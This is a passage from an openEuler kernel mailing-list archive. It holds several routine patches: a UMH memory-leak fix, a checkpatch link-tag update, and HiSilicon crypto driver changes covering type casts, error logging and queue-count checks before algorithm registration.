- Kernel - mailweb.openeuler.org

[PATCH openEuler-1.0-LTS] umh: fix memory leak on execve failure
by Wenyu Huang 25 Nov '23

25 Nov '23

From: Vincent Minet <v.minet(a)criteo.com> mainline inclusion from mainline-v5.10 commit db803036ada7 ("umh: fix memory leak on execve failure") category: bugfix bugzilla: https://gitee.com/openeuler/kernel/issues/I8J9MA CVE: NA ------------------------------------------------- If a UMH process created by fork_usermode_blob() fails to execute, a pair of struct file allocated by umh_pipe_setup() will leak. Under normal conditions, the caller (like bpfilter) needs to manage the lifetime of the UMH and its two pipes. But when fork_usermode_blob() fails, the caller doesn't really have a way to know what needs to be done. It seems better to do the cleanup ourselves in this case. Fixes: 449325b52b7a ("umh: introduce fork_usermode_blob() helper") Signed-off-by: Vincent Minet <v.minet(a)criteo.com> Signed-off-by: Jakub Kicinski <kuba(a)kernel.org> Signed-off-by: Wenyu Huang <huangwenyu5(a)huawei.com> --- kernel/umh.c | 6 ++++++ 1 file changed, 6 insertions(+) diff --git a/kernel/umh.c b/kernel/umh.c index 53611efb10cb..715b4368f9ed 100644 --- a/kernel/umh.c +++ b/kernel/umh.c @@ -495,6 +495,12 @@ static void umh_clean_and_save_pid(struct subprocess_info *info) { struct umh_info *umh_info = info->data; + /* cleanup if umh_pipe_setup() was successful but exec failed */ + if (info->pid && info->retval) { + fput(umh_info->pipe_to_umh); + fput(umh_info->pipe_from_umh); + } + argv_free(info->argv); umh_info->pid = info->pid; } -- 2.34.1

2 1

[PATCH OLK-6.6 0/1] checkpatch: Update link tags to fix ci warning
by Zheng Zengkai 24 Nov '23

24 Nov '23

Update link tags in checkpatch.pl script to fix openEuler kernel ci warning: WARNING:COMMIT_LOG_USE_LINK: Unknown link reference 'bugzilla:', use 'Link:' or 'Closes:' instead. Wei Li (1): checkpatch: Update check of link tags scripts/checkpatch.pl | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) -- 2.20.1

2 2

[PATCH] crypto: hisilicon/qm - remove incorrect type cast
by Zhiqi Song 24 Nov '23

24 Nov '23

From: Weili Qian <qianweili(a)huawei.com> maillist inclusion category: bugfix bugzilla: https://gitee.com/openeuler/kernel/issues/I8IVG6 CVE: NA Reference: https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?… ---------------------------------------------------------------------- The 'offset' type is unsigned long in 'struct debugfs_reg32', so type of values casts to unsigned long long is incorrect, and the values do not require type cast, remove them. Signed-off-by: Weili Qian <qianweili(a)huawei.com> Signed-off-by: Herbert Xu <herbert(a)gondor.apana.org.au> Signed-off-by: JiangShui Yang <yangjiangshui(a)h-partners.com> --- drivers/crypto/hisilicon/debugfs.c | 50 +++++++++++------------ drivers/crypto/hisilicon/zip/zip_main.c | 54 ++++++++++++------------- 2 files changed, 52 insertions(+), 52 deletions(-) diff --git a/drivers/crypto/hisilicon/debugfs.c b/drivers/crypto/hisilicon/debugfs.c index 88885268851b..848195515de8 100644 --- a/drivers/crypto/hisilicon/debugfs.c +++ b/drivers/crypto/hisilicon/debugfs.c @@ -53,34 +53,34 @@ static struct qm_dfx_item qm_dfx_files[] = { #define CNT_CYC_REGS_NUM 10 static const struct debugfs_reg32 qm_dfx_regs[] = { /* XXX_CNT are reading clear register */ - {"QM_ECC_1BIT_CNT ", 0x104000ull}, - {"QM_ECC_MBIT_CNT ", 0x104008ull}, - {"QM_DFX_MB_CNT ", 0x104018ull}, - {"QM_DFX_DB_CNT ", 0x104028ull}, - {"QM_DFX_SQE_CNT ", 0x104038ull}, - {"QM_DFX_CQE_CNT ", 0x104048ull}, - {"QM_DFX_SEND_SQE_TO_ACC_CNT ", 0x104050ull}, - {"QM_DFX_WB_SQE_FROM_ACC_CNT ", 0x104058ull}, - {"QM_DFX_ACC_FINISH_CNT ", 0x104060ull}, - {"QM_DFX_CQE_ERR_CNT ", 0x1040b4ull}, - {"QM_DFX_FUNS_ACTIVE_ST ", 0x200ull}, - {"QM_ECC_1BIT_INF ", 0x104004ull}, - {"QM_ECC_MBIT_INF ", 0x10400cull}, - {"QM_DFX_ACC_RDY_VLD0 ", 0x1040a0ull}, - {"QM_DFX_ACC_RDY_VLD1 ", 0x1040a4ull}, - {"QM_DFX_AXI_RDY_VLD ", 0x1040a8ull}, - {"QM_DFX_FF_ST0 ", 0x1040c8ull}, - {"QM_DFX_FF_ST1 ", 0x1040ccull}, - {"QM_DFX_FF_ST2 ", 0x1040d0ull}, - {"QM_DFX_FF_ST3 ", 0x1040d4ull}, - {"QM_DFX_FF_ST4 ", 0x1040d8ull}, - {"QM_DFX_FF_ST5 ", 0x1040dcull}, - {"QM_DFX_FF_ST6 ", 0x1040e0ull}, - {"QM_IN_IDLE_ST ", 0x1040e4ull}, + {"QM_ECC_1BIT_CNT ", 0x104000}, + {"QM_ECC_MBIT_CNT ", 0x104008}, + {"QM_DFX_MB_CNT ", 0x104018}, + {"QM_DFX_DB_CNT ", 0x104028}, + {"QM_DFX_SQE_CNT ", 0x104038}, + {"QM_DFX_CQE_CNT ", 0x104048}, + {"QM_DFX_SEND_SQE_TO_ACC_CNT ", 0x104050}, + {"QM_DFX_WB_SQE_FROM_ACC_CNT ", 0x104058}, + {"QM_DFX_ACC_FINISH_CNT ", 0x104060}, + {"QM_DFX_CQE_ERR_CNT ", 0x1040b4}, + {"QM_DFX_FUNS_ACTIVE_ST ", 0x200}, + {"QM_ECC_1BIT_INF ", 0x104004}, + {"QM_ECC_MBIT_INF ", 0x10400c}, + {"QM_DFX_ACC_RDY_VLD0 ", 0x1040a0}, + {"QM_DFX_ACC_RDY_VLD1 ", 0x1040a4}, + {"QM_DFX_AXI_RDY_VLD ", 0x1040a8}, + {"QM_DFX_FF_ST0 ", 0x1040c8}, + {"QM_DFX_FF_ST1 ", 0x1040cc}, + {"QM_DFX_FF_ST2 ", 0x1040d0}, + {"QM_DFX_FF_ST3 ", 0x1040d4}, + {"QM_DFX_FF_ST4 ", 0x1040d8}, + {"QM_DFX_FF_ST5 ", 0x1040dc}, + {"QM_DFX_FF_ST6 ", 0x1040e0}, + {"QM_IN_IDLE_ST ", 0x1040e4}, }; static const struct debugfs_reg32 qm_vf_dfx_regs[] = { - {"QM_DFX_FUNS_ACTIVE_ST ", 0x200ull}, + {"QM_DFX_FUNS_ACTIVE_ST ", 0x200}, }; /* define the QM's dfx regs region and region length */ diff --git a/drivers/crypto/hisilicon/zip/zip_main.c b/drivers/crypto/hisilicon/zip/zip_main.c index e8dbf7759c80..944afeb9da73 100644 --- a/drivers/crypto/hisilicon/zip/zip_main.c +++ b/drivers/crypto/hisilicon/zip/zip_main.c @@ -285,28 +285,28 @@ static const u64 core_offsets[] = { }; static const struct debugfs_reg32 hzip_dfx_regs[] = { - {"HZIP_GET_BD_NUM ", 0x00ull}, - {"HZIP_GET_RIGHT_BD ", 0x04ull}, - {"HZIP_GET_ERROR_BD ", 0x08ull}, - {"HZIP_DONE_BD_NUM ", 0x0cull}, - {"HZIP_WORK_CYCLE ", 0x10ull}, - {"HZIP_IDLE_CYCLE ", 0x18ull}, - {"HZIP_MAX_DELAY ", 0x20ull}, - {"HZIP_MIN_DELAY ", 0x24ull}, - {"HZIP_AVG_DELAY ", 0x28ull}, - {"HZIP_MEM_VISIBLE_DATA ", 0x30ull}, - {"HZIP_MEM_VISIBLE_ADDR ", 0x34ull}, - {"HZIP_CONSUMED_BYTE ", 0x38ull}, - {"HZIP_PRODUCED_BYTE ", 0x40ull}, - {"HZIP_COMP_INF ", 0x70ull}, - {"HZIP_PRE_OUT ", 0x78ull}, - {"HZIP_BD_RD ", 0x7cull}, - {"HZIP_BD_WR ", 0x80ull}, - {"HZIP_GET_BD_AXI_ERR_NUM ", 0x84ull}, - {"HZIP_GET_BD_PARSE_ERR_NUM ", 0x88ull}, - {"HZIP_ADD_BD_AXI_ERR_NUM ", 0x8cull}, - {"HZIP_DECOMP_STF_RELOAD_CURR_ST ", 0x94ull}, - {"HZIP_DECOMP_LZ77_CURR_ST ", 0x9cull}, + {"HZIP_GET_BD_NUM ", 0x00}, + {"HZIP_GET_RIGHT_BD ", 0x04}, + {"HZIP_GET_ERROR_BD ", 0x08}, + {"HZIP_DONE_BD_NUM ", 0x0c}, + {"HZIP_WORK_CYCLE ", 0x10}, + {"HZIP_IDLE_CYCLE ", 0x18}, + {"HZIP_MAX_DELAY ", 0x20}, + {"HZIP_MIN_DELAY ", 0x24}, + {"HZIP_AVG_DELAY ", 0x28}, + {"HZIP_MEM_VISIBLE_DATA ", 0x30}, + {"HZIP_MEM_VISIBLE_ADDR ", 0x34}, + {"HZIP_CONSUMED_BYTE ", 0x38}, + {"HZIP_PRODUCED_BYTE ", 0x40}, + {"HZIP_COMP_INF ", 0x70}, + {"HZIP_PRE_OUT ", 0x78}, + {"HZIP_BD_RD ", 0x7c}, + {"HZIP_BD_WR ", 0x80}, + {"HZIP_GET_BD_AXI_ERR_NUM ", 0x84}, + {"HZIP_GET_BD_PARSE_ERR_NUM ", 0x88}, + {"HZIP_ADD_BD_AXI_ERR_NUM ", 0x8c}, + {"HZIP_DECOMP_STF_RELOAD_CURR_ST ", 0x94}, + {"HZIP_DECOMP_LZ77_CURR_ST ", 0x9c}, }; static const struct debugfs_reg32 hzip_com_dfx_regs[] = { @@ -318,11 +318,11 @@ static const struct debugfs_reg32 hzip_com_dfx_regs[] = { }; static const struct debugfs_reg32 hzip_dump_dfx_regs[] = { - {"HZIP_GET_BD_NUM ", 0x00ull}, - {"HZIP_GET_RIGHT_BD ", 0x04ull}, - {"HZIP_GET_ERROR_BD ", 0x08ull}, - {"HZIP_DONE_BD_NUM ", 0x0cull}, - {"HZIP_MAX_DELAY ", 0x20ull}, + {"HZIP_GET_BD_NUM ", 0x00}, + {"HZIP_GET_RIGHT_BD ", 0x04}, + {"HZIP_GET_ERROR_BD ", 0x08}, + {"HZIP_DONE_BD_NUM ", 0x0c}, + {"HZIP_MAX_DELAY ", 0x20}, }; /* define the ZIP's dfx regs region and region length */ -- 2.30.0

1 0

[PATCH] crypto: hisilicon/qm - print device abnormal information
by Zhiqi Song 24 Nov '23

24 Nov '23

From: Weili Qian <qianweili(a)huawei.com> maillist inclusion category: bugfix bugzilla: https://gitee.com/openeuler/kernel/issues/I8IVG6 CVE: NA Reference: https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?… ---------------------------------------------------------------------- When device is abnormal and reports abnormal interrupt event to driver, the driver can print device information for error analysis. This patch adds some device error-related information output after the device reports an abnormal interrupt. Signed-off-by: Weili Qian <qianweili(a)huawei.com> Signed-off-by: Herbert Xu <herbert(a)gondor.apana.org.au> Signed-off-by: JiangShui Yang <yangjiangshui(a)h-partners.com> --- drivers/crypto/hisilicon/qm.c | 22 ++++++++++++++++------ 1 file changed, 16 insertions(+), 6 deletions(-) diff --git a/drivers/crypto/hisilicon/qm.c b/drivers/crypto/hisilicon/qm.c index 8f99683bcdb5..b7eab69318f5 100644 --- a/drivers/crypto/hisilicon/qm.c +++ b/drivers/crypto/hisilicon/qm.c @@ -131,16 +131,21 @@ #define QM_FIFO_OVERFLOW_TYPE 0xc0 #define QM_FIFO_OVERFLOW_TYPE_SHIFT 6 #define QM_FIFO_OVERFLOW_VF 0x3f +#define QM_FIFO_OVERFLOW_QP_SHIFT 16 #define QM_ABNORMAL_INF01 0x100014 #define QM_DB_TIMEOUT_TYPE 0xc0 #define QM_DB_TIMEOUT_TYPE_SHIFT 6 #define QM_DB_TIMEOUT_VF 0x3f +#define QM_DB_TIMEOUT_QP_SHIFT 16 +#define QM_ABNORMAL_INF02 0x100018 +#define QM_AXI_POISON_ERR BIT(22) #define QM_RAS_CE_ENABLE 0x1000ec #define QM_RAS_FE_ENABLE 0x1000f0 #define QM_RAS_NFE_ENABLE 0x1000f4 #define QM_RAS_CE_THRESHOLD 0x1000f8 #define QM_RAS_CE_TIMES_PER_IRQ 1 #define QM_OOO_SHUTDOWN_SEL 0x1040f8 +#define QM_AXI_RRESP_ERR BIT(0) #define QM_ECC_MBIT BIT(2) #define QM_DB_TIMEOUT BIT(10) #define QM_OF_FIFO_OF BIT(11) @@ -1538,7 +1543,7 @@ static void qm_log_hw_error(struct hisi_qm *qm, u32 error_status) { const struct hisi_qm_hw_error *err; struct device *dev = &qm->pdev->dev; - u32 reg_val, type, vf_num; + u32 reg_val, type, vf_num, qp_id; int i; for (i = 0; i < ARRAY_SIZE(qm_hw_error); i++) { @@ -1554,19 +1559,24 @@ static void qm_log_hw_error(struct hisi_qm *qm, u32 error_status) type = (reg_val & QM_DB_TIMEOUT_TYPE) >> QM_DB_TIMEOUT_TYPE_SHIFT; vf_num = reg_val & QM_DB_TIMEOUT_VF; - dev_err(dev, "qm %s doorbell timeout in function %u\n", - qm_db_timeout[type], vf_num); + qp_id = reg_val >> QM_DB_TIMEOUT_QP_SHIFT; + dev_err(dev, "qm %s doorbell timeout in function %u qp %u\n", + qm_db_timeout[type], vf_num, qp_id); } else if (err->int_msk & QM_OF_FIFO_OF) { reg_val = readl(qm->io_base + QM_ABNORMAL_INF00); type = (reg_val & QM_FIFO_OVERFLOW_TYPE) >> QM_FIFO_OVERFLOW_TYPE_SHIFT; vf_num = reg_val & QM_FIFO_OVERFLOW_VF; - + qp_id = reg_val >> QM_FIFO_OVERFLOW_QP_SHIFT; if (type < ARRAY_SIZE(qm_fifo_overflow)) - dev_err(dev, "qm %s fifo overflow in function %u\n", - qm_fifo_overflow[type], vf_num); + dev_err(dev, "qm %s fifo overflow in function %u qp %u\n", + qm_fifo_overflow[type], vf_num, qp_id); else dev_err(dev, "unknown error type\n"); + } else if (err->int_msk & QM_AXI_RRESP_ERR) { + reg_val = readl(qm->io_base + QM_ABNORMAL_INF02); + if (reg_val & QM_AXI_POISON_ERR) + dev_err(dev, "qm axi poison error happened\n"); } } } -- 2.30.0

1 0

[PATCH] crypto: hisilicon/qm - check function qp num before alg register
by Zhiqi Song 24 Nov '23

24 Nov '23

From: Weili Qian <qianweili(a)huawei.com> mainline inclusion from mainline-v6.7-rc1 commit b42ab1c61a77832040ad42ebf9adf237360e49f7 category: feature bugzilla: https://gitee.com/openeuler/kernel/issues/I8IVG6 CVE: NA Reference: https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?… ---------------------------------------------------------------------- When the Kunpeng accelerator executes tasks such as encryption and decryption have minimum requirements on the number of device queues. If the number of queues does not meet the requirement, the process initialization will fail. Therefore, the driver checks the number of queues on the device before registering the algorithm. If the number does not meet the requirements, the driver does not register the algorithm to crypto subsystem, the device is still added to the qm_list. Signed-off-by: Weili Qian <qianweili(a)huawei.com> Signed-off-by: Herbert Xu <herbert(a)gondor.apana.org.au> Signed-off-by: JiangShui Yang <yangjiangshui(a)h-partners.com> --- drivers/crypto/hisilicon/hpre/hpre_crypto.c | 25 ++++++++++- drivers/crypto/hisilicon/hpre/hpre_main.c | 14 +++--- drivers/crypto/hisilicon/qm.c | 47 +++++++-------------- drivers/crypto/hisilicon/sec2/sec_crypto.c | 31 ++++++++++++-- drivers/crypto/hisilicon/sec2/sec_main.c | 24 +++++------ drivers/crypto/hisilicon/zip/zip_crypto.c | 23 +++++++++- drivers/crypto/hisilicon/zip/zip_main.c | 14 +++--- include/linux/hisi_acc_qm.h | 18 +++++++- 8 files changed, 133 insertions(+), 63 deletions(-) diff --git a/drivers/crypto/hisilicon/hpre/hpre_crypto.c b/drivers/crypto/hisilicon/hpre/hpre_crypto.c index b0a7eb3b6362..1f64e63b75cb 100644 --- a/drivers/crypto/hisilicon/hpre/hpre_crypto.c +++ b/drivers/crypto/hisilicon/hpre/hpre_crypto.c @@ -57,6 +57,9 @@ struct hpre_ctx; #define HPRE_DRV_ECDH_MASK_CAP BIT(2) #define HPRE_DRV_X25519_MASK_CAP BIT(5) +static DEFINE_MUTEX(hpre_algs_lock); +static unsigned int hpre_available_devs; + typedef void (*hpre_cb)(struct hpre_ctx *ctx, void *sqe); struct hpre_rsa_ctx { @@ -2192,11 +2195,17 @@ static void hpre_unregister_x25519(struct hisi_qm *qm) int hpre_algs_register(struct hisi_qm *qm) { - int ret; + int ret = 0; + + mutex_lock(&hpre_algs_lock); + if (hpre_available_devs) { + hpre_available_devs++; + goto unlock; + } ret = hpre_register_rsa(qm); if (ret) - return ret; + goto unlock; ret = hpre_register_dh(qm); if (ret) @@ -2210,6 +2219,9 @@ int hpre_algs_register(struct hisi_qm *qm) if (ret) goto unreg_ecdh; + hpre_available_devs++; + mutex_unlock(&hpre_algs_lock); + return ret; unreg_ecdh: @@ -2218,13 +2230,22 @@ int hpre_algs_register(struct hisi_qm *qm) hpre_unregister_dh(qm); unreg_rsa: hpre_unregister_rsa(qm); +unlock: + mutex_unlock(&hpre_algs_lock); return ret; } void hpre_algs_unregister(struct hisi_qm *qm) { + mutex_lock(&hpre_algs_lock); + if (--hpre_available_devs) + goto unlock; + hpre_unregister_x25519(qm); hpre_unregister_ecdh(qm); hpre_unregister_dh(qm); hpre_unregister_rsa(qm); + +unlock: + mutex_unlock(&hpre_algs_lock); } diff --git a/drivers/crypto/hisilicon/hpre/hpre_main.c b/drivers/crypto/hisilicon/hpre/hpre_main.c index 005e8c46ce35..580159cb6582 100644 --- a/drivers/crypto/hisilicon/hpre/hpre_main.c +++ b/drivers/crypto/hisilicon/hpre/hpre_main.c @@ -107,6 +107,7 @@ #define HPRE_VIA_MSI_DSM 1 #define HPRE_SQE_MASK_OFFSET 8 #define HPRE_SQE_MASK_LEN 24 +#define HPRE_CTX_Q_NUM_DEF 1 #define HPRE_DFX_BASE 0x301000 #define HPRE_DFX_COMMON1 0x301400 @@ -1382,10 +1383,11 @@ static int hpre_probe(struct pci_dev *pdev, const struct pci_device_id *id) if (ret) dev_warn(&pdev->dev, "init debugfs fail!\n"); - ret = hisi_qm_alg_register(qm, &hpre_devices); + hisi_qm_add_list(qm, &hpre_devices); + ret = hisi_qm_alg_register(qm, &hpre_devices, HPRE_CTX_Q_NUM_DEF); if (ret < 0) { pci_err(pdev, "fail to register algs to crypto!\n"); - goto err_with_qm_start; + goto err_qm_del_list; } ret = qm_register_uacce(qm); @@ -1405,9 +1407,10 @@ static int hpre_probe(struct pci_dev *pdev, const struct pci_device_id *id) return 0; err_with_alg_register: - hisi_qm_alg_unregister(qm, &hpre_devices); + hisi_qm_alg_unregister(qm, &hpre_devices, HPRE_CTX_Q_NUM_DEF); -err_with_qm_start: +err_qm_del_list: + hisi_qm_del_list(qm, &hpre_devices); hpre_debugfs_exit(qm); hisi_qm_stop(qm, QM_NORMAL); @@ -1427,7 +1430,8 @@ static void hpre_remove(struct pci_dev *pdev) hisi_qm_pm_uninit(qm); hisi_qm_wait_task_finish(qm, &hpre_devices); - hisi_qm_alg_unregister(qm, &hpre_devices); + hisi_qm_alg_unregister(qm, &hpre_devices, HPRE_CTX_Q_NUM_DEF); + hisi_qm_del_list(qm, &hpre_devices); if (qm->fun_type == QM_HW_PF && qm->vfs_num) hisi_qm_sriov_disable(pdev, true); diff --git a/drivers/crypto/hisilicon/qm.c b/drivers/crypto/hisilicon/qm.c index d67d2d83d590..2c45d5ecce69 100644 --- a/drivers/crypto/hisilicon/qm.c +++ b/drivers/crypto/hisilicon/qm.c @@ -5027,63 +5027,48 @@ static void qm_cmd_process(struct work_struct *cmd_process) } /** - * hisi_qm_alg_register() - Register alg to crypto and add qm to qm_list. + * hisi_qm_alg_register() - Register alg to crypto. * @qm: The qm needs add. * @qm_list: The qm list. + * @guard: Guard of qp_num. * - * This function adds qm to qm list, and will register algorithm to - * crypto when the qm list is empty. + * Register algorithm to crypto when the function is satisfy guard. */ -int hisi_qm_alg_register(struct hisi_qm *qm, struct hisi_qm_list *qm_list) +int hisi_qm_alg_register(struct hisi_qm *qm, struct hisi_qm_list *qm_list, int guard) { struct device *dev = &qm->pdev->dev; - int flag = 0; - int ret = 0; - - mutex_lock(&qm_list->lock); - if (list_empty(&qm_list->list)) - flag = 1; - list_add_tail(&qm->list, &qm_list->list); - mutex_unlock(&qm_list->lock); if (qm->ver <= QM_HW_V2 && qm->use_sva) { dev_info(dev, "HW V2 not both use uacce sva mode and hardware crypto algs.\n"); return 0; } - if (flag) { - ret = qm_list->register_to_crypto(qm); - if (ret) { - mutex_lock(&qm_list->lock); - list_del(&qm->list); - mutex_unlock(&qm_list->lock); - } + if (qm->qp_num < guard) { + dev_info(dev, "qp_num is less than task need.\n"); + return 0; } - return ret; + return qm_list->register_to_crypto(qm); } EXPORT_SYMBOL_GPL(hisi_qm_alg_register); /** - * hisi_qm_alg_unregister() - Unregister alg from crypto and delete qm from - * qm list. + * hisi_qm_alg_unregister() - Unregister alg from crypto. * @qm: The qm needs delete. * @qm_list: The qm list. + * @guard: Guard of qp_num. * - * This function deletes qm from qm list, and will unregister algorithm - * from crypto when the qm list is empty. + * Unregister algorithm from crypto when the last function is satisfy guard. */ -void hisi_qm_alg_unregister(struct hisi_qm *qm, struct hisi_qm_list *qm_list) +void hisi_qm_alg_unregister(struct hisi_qm *qm, struct hisi_qm_list *qm_list, int guard) { - mutex_lock(&qm_list->lock); - list_del(&qm->list); - mutex_unlock(&qm_list->lock); - if (qm->ver <= QM_HW_V2 && qm->use_sva) return; - if (list_empty(&qm_list->list)) - qm_list->unregister_from_crypto(qm); + if (qm->qp_num < guard) + return; + + qm_list->unregister_from_crypto(qm); } EXPORT_SYMBOL_GPL(hisi_qm_alg_unregister); diff --git a/drivers/crypto/hisilicon/sec2/sec_crypto.c b/drivers/crypto/hisilicon/sec2/sec_crypto.c index 27db9fa65ddf..4d30d49c605e 100644 --- a/drivers/crypto/hisilicon/sec2/sec_crypto.c +++ b/drivers/crypto/hisilicon/sec2/sec_crypto.c @@ -104,6 +104,9 @@ #define IV_CTR_INIT 0x1 #define IV_BYTE_OFFSET 0x8 +static DEFINE_MUTEX(sec_algs_lock); +static unsigned int sec_available_devs; + struct sec_skcipher { u64 alg_msk; struct skcipher_alg alg; @@ -2536,16 +2539,31 @@ static int sec_register_aead(u64 alg_mask) int sec_register_to_crypto(struct hisi_qm *qm) { u64 alg_mask = sec_get_alg_bitmap(qm, SEC_DRV_ALG_BITMAP_HIGH, SEC_DRV_ALG_BITMAP_LOW); - int ret; + int ret = 0; + + mutex_lock(&sec_algs_lock); + if (sec_available_devs) { + sec_available_devs++; + goto unlock; + } ret = sec_register_skcipher(alg_mask); if (ret) - return ret; + goto unlock; ret = sec_register_aead(alg_mask); if (ret) - sec_unregister_skcipher(alg_mask, ARRAY_SIZE(sec_skciphers)); + goto unreg_skcipher; + sec_available_devs++; + mutex_unlock(&sec_algs_lock); + + return 0; + +unreg_skcipher: + sec_unregister_skcipher(alg_mask, ARRAY_SIZE(sec_skciphers)); +unlock: + mutex_unlock(&sec_algs_lock); return ret; } @@ -2553,6 +2571,13 @@ void sec_unregister_from_crypto(struct hisi_qm *qm) { u64 alg_mask = sec_get_alg_bitmap(qm, SEC_DRV_ALG_BITMAP_HIGH, SEC_DRV_ALG_BITMAP_LOW); + mutex_lock(&sec_algs_lock); + if (--sec_available_devs) + goto unlock; + sec_unregister_aead(alg_mask, ARRAY_SIZE(sec_aeads)); sec_unregister_skcipher(alg_mask, ARRAY_SIZE(sec_skciphers)); + +unlock: + mutex_unlock(&sec_algs_lock); } diff --git a/drivers/crypto/hisilicon/sec2/sec_main.c b/drivers/crypto/hisilicon/sec2/sec_main.c index 09831a8c6fad..29461754490e 100644 --- a/drivers/crypto/hisilicon/sec2/sec_main.c +++ b/drivers/crypto/hisilicon/sec2/sec_main.c @@ -1205,15 +1205,11 @@ static int sec_probe(struct pci_dev *pdev, const struct pci_device_id *id) if (ret) pci_warn(pdev, "Failed to init debugfs!\n"); - if (qm->qp_num >= ctx_q_num) { - ret = hisi_qm_alg_register(qm, &sec_devices); - if (ret < 0) { - pr_err("Failed to register driver to crypto.\n"); - goto err_qm_stop; - } - } else { - pci_warn(qm->pdev, - "Failed to use kernel mode, qp not enough!\n"); + hisi_qm_add_list(qm, &sec_devices); + ret = hisi_qm_alg_register(qm, &sec_devices, ctx_q_num); + if (ret < 0) { + pr_err("Failed to register driver to crypto.\n"); + goto err_qm_del_list; } if (qm->uacce) { @@ -1235,9 +1231,9 @@ static int sec_probe(struct pci_dev *pdev, const struct pci_device_id *id) return 0; err_alg_unregister: - if (qm->qp_num >= ctx_q_num) - hisi_qm_alg_unregister(qm, &sec_devices); -err_qm_stop: + hisi_qm_alg_unregister(qm, &sec_devices, ctx_q_num); +err_qm_del_list: + hisi_qm_del_list(qm, &sec_devices); sec_debugfs_exit(qm); hisi_qm_stop(qm, QM_NORMAL); err_probe_uninit: @@ -1254,8 +1250,8 @@ static void sec_remove(struct pci_dev *pdev) hisi_qm_pm_uninit(qm); hisi_qm_wait_task_finish(qm, &sec_devices); - if (qm->qp_num >= ctx_q_num) - hisi_qm_alg_unregister(qm, &sec_devices); + hisi_qm_alg_unregister(qm, &sec_devices, ctx_q_num); + hisi_qm_del_list(qm, &sec_devices); if (qm->fun_type == QM_HW_PF && qm->vfs_num) hisi_qm_sriov_disable(pdev, true); diff --git a/drivers/crypto/hisilicon/zip/zip_crypto.c b/drivers/crypto/hisilicon/zip/zip_crypto.c index 09f60f786779..304411ac5a36 100644 --- a/drivers/crypto/hisilicon/zip/zip_crypto.c +++ b/drivers/crypto/hisilicon/zip/zip_crypto.c @@ -44,6 +44,9 @@ #define HZIP_ALG_GZIP GENMASK(3, 2) #define HZIP_ALG_DEFLATE GENMASK(5, 4) +static DEFINE_MUTEX(zip_algs_lock); +static unsigned int zip_available_devs; + static const u8 zlib_head[HZIP_ZLIB_HEAD_SIZE] = {0x78, 0x9c}; static const u8 gzip_head[HZIP_GZIP_HEAD_SIZE] = { 0x1f, 0x8b, 0x08, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x03 @@ -864,9 +867,15 @@ int hisi_zip_register_to_crypto(struct hisi_qm *qm) { int ret = 0; + mutex_lock(&zip_algs_lock); + if (zip_available_devs) { + zip_available_devs++; + goto err_unlock; + } + ret = hisi_zip_register_deflate(qm); if (ret) - return ret; + goto err_unlock; ret = hisi_zip_register_zlib(qm); if (ret) @@ -876,18 +885,30 @@ int hisi_zip_register_to_crypto(struct hisi_qm *qm) if (ret) goto err_unreg_zlib; + zip_available_devs++; + mutex_unlock(&zip_algs_lock); + return 0; err_unreg_zlib: hisi_zip_unregister_zlib(qm); err_unreg_deflate: hisi_zip_unregister_deflate(qm); +err_unlock: + mutex_unlock(&zip_algs_lock); return ret; } void hisi_zip_unregister_from_crypto(struct hisi_qm *qm) { + mutex_lock(&zip_algs_lock); + if (--zip_available_devs) + goto unlock; + hisi_zip_unregister_deflate(qm); hisi_zip_unregister_zlib(qm); hisi_zip_unregister_gzip(qm); + +unlock: + mutex_unlock(&zip_algs_lock); } diff --git a/drivers/crypto/hisilicon/zip/zip_main.c b/drivers/crypto/hisilicon/zip/zip_main.c index 2d56a546c76f..7bb512e3cb32 100644 --- a/drivers/crypto/hisilicon/zip/zip_main.c +++ b/drivers/crypto/hisilicon/zip/zip_main.c @@ -67,6 +67,7 @@ #define HZIP_SQE_SIZE 128 #define HZIP_PF_DEF_Q_NUM 64 #define HZIP_PF_DEF_Q_BASE 0 +#define HZIP_CTX_Q_NUM_DEF 2 #define HZIP_SOFT_CTRL_CNT_CLR_CE 0x301000 #define HZIP_SOFT_CTRL_CNT_CLR_CE_BIT BIT(0) @@ -1215,10 +1216,11 @@ static int hisi_zip_probe(struct pci_dev *pdev, const struct pci_device_id *id) if (ret) pci_err(pdev, "failed to init debugfs (%d)!\n", ret); - ret = hisi_qm_alg_register(qm, &zip_devices); + hisi_qm_add_list(qm, &zip_devices); + ret = hisi_qm_alg_register(qm, &zip_devices, HZIP_CTX_Q_NUM_DEF); if (ret < 0) { pci_err(pdev, "failed to register driver to crypto!\n"); - goto err_qm_stop; + goto err_qm_del_list; } if (qm->uacce) { @@ -1240,9 +1242,10 @@ static int hisi_zip_probe(struct pci_dev *pdev, const struct pci_device_id *id) return 0; err_qm_alg_unregister: - hisi_qm_alg_unregister(qm, &zip_devices); + hisi_qm_alg_unregister(qm, &zip_devices, HZIP_CTX_Q_NUM_DEF); -err_qm_stop: +err_qm_del_list: + hisi_qm_del_list(qm, &zip_devices); hisi_zip_debugfs_exit(qm); hisi_qm_stop(qm, QM_NORMAL); @@ -1262,7 +1265,8 @@ static void hisi_zip_remove(struct pci_dev *pdev) hisi_qm_pm_uninit(qm); hisi_qm_wait_task_finish(qm, &zip_devices); - hisi_qm_alg_unregister(qm, &zip_devices); + hisi_qm_alg_unregister(qm, &zip_devices, HZIP_CTX_Q_NUM_DEF); + hisi_qm_del_list(qm, &zip_devices); if (qm->fun_type == QM_HW_PF && qm->vfs_num) hisi_qm_sriov_disable(pdev, true); diff --git a/include/linux/hisi_acc_qm.h b/include/linux/hisi_acc_qm.h index 03860e33f8eb..b0147be3a606 100644 --- a/include/linux/hisi_acc_qm.h +++ b/include/linux/hisi_acc_qm.h @@ -519,6 +519,20 @@ static inline void hisi_qm_init_list(struct hisi_qm_list *qm_list) mutex_init(&qm_list->lock); } +static inline void hisi_qm_add_list(struct hisi_qm *qm, struct hisi_qm_list *qm_list) +{ + mutex_lock(&qm_list->lock); + list_add_tail(&qm->list, &qm_list->list); + mutex_unlock(&qm_list->lock); +} + +static inline void hisi_qm_del_list(struct hisi_qm *qm, struct hisi_qm_list *qm_list) +{ + mutex_lock(&qm_list->lock); + list_del(&qm->list); + mutex_unlock(&qm_list->lock); +} + int qm_register_uacce(struct hisi_qm *qm); int hisi_qm_init(struct hisi_qm *qm); void hisi_qm_uninit(struct hisi_qm *qm); @@ -561,8 +575,8 @@ int hisi_qm_alloc_qps_node(struct 